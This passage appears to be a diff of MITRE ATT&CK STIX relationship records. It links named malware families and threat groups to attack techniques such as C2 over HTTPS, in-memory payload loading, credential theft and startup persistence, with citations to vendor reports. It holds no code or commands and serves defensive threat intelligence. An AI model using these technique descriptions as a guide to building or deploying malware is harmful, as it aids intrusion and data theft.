+ "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is written in PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "After decrypting itself in memory, [RARSTONE](https://attack.mitre.org/software/S0055) downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This \u201cdownloaded\u201d file is actually not dropped onto the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.", + "source_name": "Camba RARSTONE", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to capture video from a webcam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2043a8a7-d365-4f5c-9ee3-5b9be710f14d", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can execute commands on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7276fbbe-3237-4e95-b2ad-8518327432ba", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used multiple types of scripting for execution, including JavaScript, JavaScript Scriptlets in XML, and VBScript.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--88898d14-9313-4fdd-8ef5-584d8dcdec17", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.192Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) decodes strings in the malware using XOR and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--49f9b769-57d1-4d73-8194-59b584a72c1b", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used UPX to pack files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7a99577b-711d-425a-a5d9-673b134d403d", + "source_ref": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62", + "modified": "2019-07-25T19:00:50.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2fb04d2a-a564-4bcf-9366-5fc46040fed5", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--571029bc-2427-4f75-b16d-2116bc671e2f", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.313Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses port 443 for the control server communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2b5db549-1451-400b-bad8-75892f347aae", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--549fdc30-5269-48ee-9dc8-60db8deb836a", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) enumerates directories and obtains file attributes on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--60c352ec-eb4c-451a-a56e-43a9dc4ee91f", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c6ee4856-1782-4430-af7f-4d71e84c9b97", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "description": "[Reaver](https://attack.mitre.org/software/S0172) drops and executes a malicious CPL file as its payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ad4bd339-7416-45de-8202-f91c6909be05", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) compressed data with zlib prior to sending it over C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0040312a-e85d-4066-8203-2e66f8aa5288", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can create a remote shell and run a given command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6f448f20-0349-4132-80ec-d46e94d52426", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f8a21871-d67b-4e89-82db-580d117d28fb", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on accounts and permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has infected victims using watering holes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bad12e35-72da-43bb-b61b-505ed72883c5", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can upload files to the victim\u2019s machine and can download additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--30efb3df-f7b4-47f8-9c5a-53a94509c929", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--22879bfd-c9de-480b-83f3-4b58ef6dd08e", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": 